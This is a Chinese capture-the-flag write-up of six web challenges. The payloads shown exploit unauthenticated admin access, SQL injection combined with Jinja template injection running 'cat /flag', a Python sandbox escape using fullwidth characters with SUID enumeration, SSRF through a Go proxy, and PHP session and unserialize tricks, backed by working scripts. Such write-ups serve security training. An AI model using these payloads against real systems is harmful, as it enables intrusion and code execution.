xiaohuanxiong

forkable/xiaohuanxiong: 开源有态度的漫画CMS

重写了init

image-20241102175109184

未授权,直接访问

1
http://39.107.225.62:37163/admin/Admins

image-20241102183040288

支付设置中发现可命令执行代码

image-20241102182945732

提交后直接回显flag

image-20241102183128619

snake

js速度调慢后手工打370秒打通后跳转/snake_win?username=xxxx

也可以gpt改写后直接替换源码绕过

1da4dcddffabe9de0ae6ba139a5489ae

发现有回显的点,sql注入无果后尝试ssti发现源码中有回显

1
1' union select 1,2,3

没有过滤 梭哈

1
http://eci-2ze5o4vs0w9lqwwjqex7.cloudeci1.ichunqiu.com:5000/snake_win?username=1' union select 1,2,"{{().__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}"--+

0d3bc12ebf93c5b22aae97c4f0c9d017

PyBlockly

想到2024极客大挑战中的绕过方式

image-20241103165609008

首先 传入json请求体

image-20241104081309441

取了[blocks][blocks][0]部分传入block_to_python

image-20241104081340868

这两个类型没有回调

image-20241104082042255

最后返回do函数结合hook函数一起执行

image-20241104083632066

有阴间waf过滤,想到20Geekchallenge中的沙箱逃逸题的绕过方式

image-20241104083756686

image-20241104083804795

考虑非ascii字符,花字符或者全半角绕过

1
\uff07\ufe54\u0070\u0072\u0069\u006e\u0074\uff08\uff02\uff02\u2024\u006a\u006f\u0069\u006e\uff08\u006c\u0069\u006e\u0065\u0020\u0066\u006f\u0072\u0020\u006c\u0069\u006e\u0065\u0020\u0069\u006e\u0020\u006f\u0070\u0065\u006e\uff08\uff02\uff0f\u0065\u0074\u0063\uff0f\u0070\u0061\u0073\u0073\u0077\u0064\uff02\uff0c\uff02\u0072\uff02\uff09\uff09\uff09\ufe54\uff07

可以读取/etc/passwd和环境变量等文件,后查看

1
'﹔__builtins__․len ﹦ lambda obj: 2﹔__import__("os")․system("find / ‒perm ‒u=s ‒type f 2﹥/dev/null")﹔'

就可以发现flag没有读取权限

fcf858517108e29bd5b4538cdb2679d3dd提权

1
'﹔__builtins__․len ﹦ lambda obj: 2﹔__import__("os")․system("dd if゠/flag")﹔'

最终payload

1
2
3
4
5
6
7
8
{"blocks":{"blocks":[{
"type":"text","fields":{
"TEXT":"\uff07\ufe54\uff3f\uff3f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\uff3f\u
ff3f\u2024\u006c\u0065\u006e\u0020\ufe66\u0020\u006c\u0061\u006d\u0062\u0064\u0061\u0020
\u006f\u0062\u006a\uff1a\u0020\u0032\ufe54\uff3f\uff3f\u0069\u006d\u0070\u006f\u0072\u00
74\uff3f\uff3f\uff08\uff02\u006f\u0073\uff02\uff09\u2024\u0073\u0079\u0073\u0074\u0065\u
006d\uff08\uff02\u0064\u0064\u0020\u0069\u0066\u30a0\uff0f\u0066\u006c\u0061\u0067\uff02
\uff09\ufe54\uff07"}}]},"0945t76aq3kd":"="}

或者

1
{"blocks":{"languageVersion":0,"blocks":[{"type":"text","fields":{"TEXT":"';__import__('sys').modules['__main__'].__dict__['__builtins__'].__dict__['len'] = lambda x: 1\nprint(len("aaaaaa"))\n__import__('os').system('ls')\n__import__('os').system('LFILE=file_to_read dd if=/flag')\n__import__('os').system('find / -user root -perm -4000 -print 2>/dev/null')#"}}]}}

image-20241102171611853

Proxy

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main

import (
"bytes"
"io"
"net/http"
"os/exec"

"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}

func main() {
r := gin.Default()

v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}

v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}

if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}

return nil
},
}

req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}

resp, err := client.Do(req)

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

defer resp.Body.Close()

body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}

c.Writer.Write(body)
c.Abort()
})
}

r.Run("127.0.0.1:8769")
}

使用代理访问即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

def proxy_to_v1_flag():
url = "http://39.105.114.252:26706/v2/api/proxy"
payload = {
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": False
}

try:
response = requests.post(url, json=payload)
print(response.json())
except requests.exceptions.RequestException as e:
print(e)


proxy_to_v1_flag()

image-20241103104030898

或者hackbar

image-20241104084638041

platform

带你走进PHP session反序列化漏洞 - 先知社区

image-20241103114134063

www.zip->class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}

class SessionRandom {

public function generateRandomString() {
$length = rand(1, 50);

$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';

for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}

return $randomString;
}


}

class SessionManager {
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}

private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}

public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();

if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);

foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);

return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}

发现可以利用的类

image-20241103113146584

这里可以使用字符串逃逸构造一个恶意的session文件

image-20241103113208335

本地调试一下

image-20241104182216036

image-20241104182230072

image-20241104182240550

image-20241104182301678

session格式

1
user|s:4:"yiyi";session_key|s:11:"g3bbFDKYSQ1";password|s:3:"123";

session生成代码->50位随机的key,可以使用定长爆破的方式

image-20241104182347921

使用replace绕过黑名单构造反序列化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}

$a = new notouchitsclass('');
$a->data = "sysexectem('/readflag');";
echo serialize($a);

由于replace将payload修改为

1
O:15:"notouchitsclass":1:{s:4:"data";s:20:"sysexectem('/readflag');";}

根据格式可以知道,";session_key|s:5:"EMwzr";password|s:3:是不需要的部分 通过replace进行逃逸

image-20241104182836707

1
2
username=systemsystemsystemsystemsystemsystemsystemsystem&password=";aaa|O:15:"notouchit
sclass":1:{s:4:"data";s:20:"syssystemtem('/readflag');";}

session_key的长度是不固定的,采用定长爆破的方式抽奖

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://eci-2ze28vznmiokjljcaas2.cloudeci1.ichunqiu.com/index.php"
cookies = {"PHPSESSID": "c00le2qji7em8g40hm8djrkbi6"}
a = ['passthrupassthrupassthrupassthrupassthrupassthrupassthrupassthrusystem']

while True:
data = {"username": a[0], "password": ';user|O:15:"notouchitsclass":1:{s:4:"data";s:20:"sysexectem(\'/readflag\');";}'}
res = requests.post(url, cookies=cookies, data=data)
if len(res.text) != 1135 and len(res.text) != 1950:
print(res.text)
break

赛时忘截,赛后截的flag图

image-20241103213330912

Password Game

完成对应要求可以得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

看到源码脑袋嗡了 后来放hint后有思路了

在魔术方法get下,全局变量被赋予给了value,所以我们就可以想到利用引用来给userame赋值,在输出username的时候把flag输出出来

image-20241104090844186

本地调试 ,用十六进制可以绕waf触发__get

image-20241104193513443

然后引用赋值,这样就可以在user中输出root::value了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class root{
public $username = "admin";
public $value = "2024qwb";
}
class user{
public $username;
public $password;
public $value;

}
$a = new root();


$a->username=new user();
$a->username->username=&$a->value;
echo serialize($a);

十六进制绕过

1
O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";S:7:"\32\3024qwb";s:8:"password";N;s:5:"value";N;}s:5:"value";R:3;}

11.4补

看了nk师傅们的做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class root{
public $username = "admin";
public $value = "2024qwb";
}
class user{
public $username;
public $password;
public $value;

}
$b = new user();
$a = new root();
$a->username="\\61dmin";
$a->value="\\32\\3024qwb";
$a->test = $b;
$b->username=&$a->value;
echo serialize($a);

这种做法的好处是 如果去掉$a->test = $b;

那么引用赋值时就会覆盖掉$b,如果将b先赋值给$a->test时,就不会覆盖原有的值

最终payload

1
O:4:"root":3:{s:8:"username";S:11:"\61dmin943252";s:5:"value";S:7:"\32\3024qwb";s:4:"test";O:4:"user":1:{s:8:"username";R:3;}}